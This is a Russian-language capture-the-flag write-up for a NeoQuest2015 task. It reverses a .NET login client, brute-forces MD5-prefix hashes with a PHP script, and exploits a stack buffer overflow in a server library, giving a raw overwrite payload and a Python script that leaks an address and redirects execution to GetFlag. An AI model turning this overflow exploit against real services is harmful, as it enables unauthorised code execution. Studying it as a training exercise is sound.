R0 CREW

Решение задания Дружба и братство NeoQuest2015

Задание:

Внезапно наступило затишье. Никто мне не присылал никаких странных файлов, мой телефон не «сходил с ума», необычных встреч не происходило. Я начал всерьез волноваться, что либо надо мной подшутили, либо я не замечаю чего-то очевидного и, в конце концов, провалю испытание. Со всеми этими масонскими тайнами я совсем потерял покой и сон. На работе коллеги отмечали, что я выгляжу уставшим, интересовались, не заболел ли я. Отговаривался типичной питерской болезнью – простудой и нехваткой солнца. Но лучшего друга мне провести не удалось.

Он, как и я, увлекался информационной безопасностью, в чем-то разделял мои увлечения масонами, был просто кладезью знаний и надежным человеком. Беседуя с ним, я думал о том, что если он не получил приглашения в Братство масонов, то это очень глупо с их стороны! Чем больше я об этом думал, тем обиднее мне становилось за друга. В итоге я всё ему рассказал.

Друг долго молчал, а затем негромко сказал: «Знаешь, а ведь я к тебе не просто так пришел». Оказалось, что у него на ноутбуке непонятным образом появилась некая программа login.exe. Что она делает, и откуда она взялась, друг так и не смог понять и решил обратиться за помощью ко мне. Что ж, сказанное мной в некотором роде проливало свет на внезапное появление непонятной программы.

За окном было темно, в чашках на столе остывал чай. Но пока что всё, что нам удалось достать – это тот самый login.exe и файл.so

Решение:

Клиентское приложение [login.exe].

Первым этапом надо найти логин:

Это .NET приложение, открываем через .NET Reflector.VSPro.v7.3.0.18 и смотрим код. Интересные участки:

public Form1()
{
    this.InitializeComponent();
    this.host = "79.175.2.85";
    this.port = 0x1f90;
    this.hashes = new string[] { 
"dfa7b3505d612417911b86b89f869d6c", "73b6951965fda60be0c69da1411e59af", "4ad9eab6a9bd83eec4723d05444059e2", 
"4f60dca64aedd943e4fccb8bbf18e25c", "9ed2ac984ed7182a4974a4bab0ad8fcd", "826fc5d7998c16eeb77abc00702a00ab", 
"4ec559ee5a6249f0c69ab8ff9b804072", "0eebdd1e6d919d04cdee9646607786c3", "172cfbcb9d8de7425233fd7183f43c21", 
"7174ce70d0702083e26d285196d36cf2", "77526663ec282d1d1f62229ab980edd5", "c7f399fb9f981ba2445ba573ec668cef", 
"efa9d9d29367af2b3c1cc1494f882f2d", "01e5f7d323222fd161fcbd0b32f26b2b", "83daec0d569704618ecf60d19b031082", 
"a2c2c74263df7545cb857b69ce5820b2", "ac13be701bc79036602ae9f355e6c389", "d33bf0c58b48508c706d32c6e8a171d4", 
"138378fc00ad7d559f0418019e750b19", "39eb98f5edec84e35f52feff51c94a25", "3ff5db4ebc8437f338ce978fddcfb334", 
"e1cd7a2a000a2fe69f909a2e46dab073", "bf80eafce6f8d51220dd6603295852d5", "f8bc2fbe2c937ea5b5e8839cbea69491", 
"e8bb39c756ad2b46a80b3f07c8422037", "a3d4832c6cc0b51163e04301e6a17b55", "bc7a6cff6c8507488e186d378ec12b38", 
"deaeb78d2c64a16cecd1a718e226db52", "c81e728d9d4c2f636f067f89cc14862c", "7742638106aea26564f3f6fa02fe1265", 
"7c8104aa5e88bee40658c61c5f869284", "71e157ffdf45f4946e95d0ac115466a1"
     };
} 
private void textBox1_TextChanged(object sender, EventArgs e)
{
    string text = this.textBox1.Text;
    if (text.Length == 0)
    {
        this.label1.Text = "Enter you login";
    }
    else if (!this.hashes.Contains<string>(this.GetHashString(text)))
    {
        this.label1.Text = "Incorrect login!";
    }
    else if (text.Length == 0x20)
    {
        this.label1.Text = "You have successfully logged in!";
        this.groupBox1.Enabled = false;
        this.tcpSocket = new TcpClient(this.host, this.port);
        this.groupBox2.Visible = true;
        this.timer1.Start();
    }
    else
    {
        this.label1.Text = "Enter next character of your login";
    }
}

Наш логин должен быть длиной в 32 символа и должен быть равен какому-то хэшу из this.hases. Пишем небольшой брут для логина:

$hashes = array('dfa7b3505d612417911b86b89f869d6c', '73b6951965fda60be0c69da1411e59af',
'4ad9eab6a9bd83eec4723d05444059e2', '4f60dca64aedd943e4fccb8bbf18e25c',
'9ed2ac984ed7182a4974a4bab0ad8fcd', '826fc5d7998c16eeb77abc00702a00ab',
'4ec559ee5a6249f0c69ab8ff9b804072', '0eebdd1e6d919d04cdee9646607786c3',
'172cfbcb9d8de7425233fd7183f43c21', '7174ce70d0702083e26d285196d36cf2',
'77526663ec282d1d1f62229ab980edd5', 'c7f399fb9f981ba2445ba573ec668cef',
'efa9d9d29367af2b3c1cc1494f882f2d', '01e5f7d323222fd161fcbd0b32f26b2b',
'83daec0d569704618ecf60d19b031082', 'a2c2c74263df7545cb857b69ce5820b2',
'ac13be701bc79036602ae9f355e6c389', 'd33bf0c58b48508c706d32c6e8a171d4',
'138378fc00ad7d559f0418019e750b19', '39eb98f5edec84e35f52feff51c94a25',
'3ff5db4ebc8437f338ce978fddcfb334', 'e1cd7a2a000a2fe69f909a2e46dab073',
'bf80eafce6f8d51220dd6603295852d5', 'f8bc2fbe2c937ea5b5e8839cbea69491',
'e8bb39c756ad2b46a80b3f07c8422037', 'a3d4832c6cc0b51163e04301e6a17b55',
'bc7a6cff6c8507488e186d378ec12b38', 'deaeb78d2c64a16cecd1a718e226db52',
'c81e728d9d4c2f636f067f89cc14862c', '7742638106aea26564f3f6fa02fe1265',
'7c8104aa5e88bee40658c61c5f869284', '71e157ffdf45f4946e95d0ac115466a1');

$alphabet = '0123456789abcdef';
$alp_len = strlen($alphabet);
$hash_len = count($hashes);
$string = '';
$rrrr = '';
for($ss = 0; $ss < 32; $ss++) {
  for($j = 0; $j < $alp_len; $j++) {
    $rrrr = $string . $alphabet[$j];
    $md5_hash = md5($rrrr);
    #echo $md5_hash."\n";
    for($k = 0; $k < $hash_len; $k++) {
      if ($md5_hash == $hashes[$k]) {
        echo $rrrr  . "\n";                                
          $string = $rrrr;
      }
    }
  }
}
Вывод брута:
2
2b
2b6
2b63
2b638
2b638b
2b638b6
2b638b6d
2b638b6da
2b638b6da5
2b638b6da52
2b638b6da52b
2b638b6da52bf
2b638b6da52bfa
2b638b6da52bfad
2b638b6da52bfad2
2b638b6da52bfad2d
2b638b6da52bfad2d9
2b638b6da52bfad2d99
2b638b6da52bfad2d99d
2b638b6da52bfad2d99db
2b638b6da52bfad2d99dba
2b638b6da52bfad2d99dbab
2b638b6da52bfad2d99dbab4
2b638b6da52bfad2d99dbab40
2b638b6da52bfad2d99dbab401
2b638b6da52bfad2d99dbab4018
2b638b6da52bfad2d99dbab40182
2b638b6da52bfad2d99dbab401823
2b638b6da52bfad2d99dbab4018237
2b638b6da52bfad2d99dbab4018237d
2b638b6da52bfad2d99dbab4018237df

Первый флаг равен 2b638b6da52bfad2d99dbab4018237df.

С клиентской частью разобрались:

Серверное приложение [libtest.so]:

libtest.so - это ELF64 for x86-64 (Shared object).

Сначала нам надо обойти авторизацию для получения второго флага.

Воспользуемся дизассемблером IDA pro, и проанализируем функцию StartTest:

Функция выделяет 32 байта под локальные переменные, читает пароль из файла /home/srv/pass.txt b и записывает 16 байт (во вторую половину стэка). Затем программа читает пароль клиента и может записать 100 байт, в начало стэка и позволяет манипулировать данными стэка.
Найдем участок кода, где проверяется пароль:

За проверку отвечает функция strcmp(server_pass, user_pass).

Аттака заключается в перезаписи пароля “server_pass” в стэке на “user_pass”.

Второй флаг равен 3ed54ac12757f4c2b4fabd64d41de42d.

Получение третьего флага:

За получение отвечает функция GetFlag:

Чтобы получить флаг, надо в стэке переписать адрес возврата и вычислить адрес функции GetFlag.

При отправке пароля длиной больше 16 символов получим отладочную информацию, которая поможет вычислить адрес:

b’\nbacktrace()\n/home/srv/libtest.so(PrintBacktrace+0x29) [0x7f62f8178c8a]\n/home/srv/libtest.so(StartTest+0xd0) [0x7f62f8178dd4]\nsrv.bin() [0x4007f9]\n[0x7f62f8b63020]\n\nEnter password: ’

Сначала вычислим размер функции GetFlag. Из рисунка 6.jpg берем адреса PrintBacktrace[0xC61] - GetFlag[0xBF5] = 0x6C.

Вычисляем адрес PrintBacktrace из отладочной информации 0x7f62f8178c8a - 0x29 = 0x7F62F8178C61.

Адрес GetFlag = PrintBacktrace[0x7F62F8178C61] - 0x6C = 0x7F62F8178BF5.

Осталось собрать полезную нагрузку: 32 байта под локальные переменны функции + EBP + адрес GetFlag

PAYLOAD = b'\x00\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x00\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x42\x42\x42\x42\x42\x42\x42\x42\xF5\x8B\x17\xF8\x62\x7F\x00\x00\x0A'

Третий флаг равен 1946fcc08e026023fd53f935769c7f52.

Мой вариант для 2го и 3го флагов

import re
 
q = lambda x: struct.pack("Q", x)
Q = lambda x: struct.unpack("I", x)[0]
 
s = socket.create_connection(("79.175.2.85", 0x1f90))
#print r_until("[ ]")
print s.recv(1024)
s.send("0123456789abcdef0123456789abcdef\n")
addr = s.recv(1024)
print addr
ss = re.search('/home/srv/libtest\.so\(PrintBacktrace\+0x29\) \[([0-9a-fx]+)\]', addr)
print ss.group(1)
base = ss.group(1)[:-3]+'bf5'
print base
payload = "123456789abcdef\x00123456789abcdef\x00\x00\x00\x00\x00\x00\x00\x00\x00"+q(int(base,16))
s.send(payload+"\n")
print s.recv(1024)
print s.recv(1024)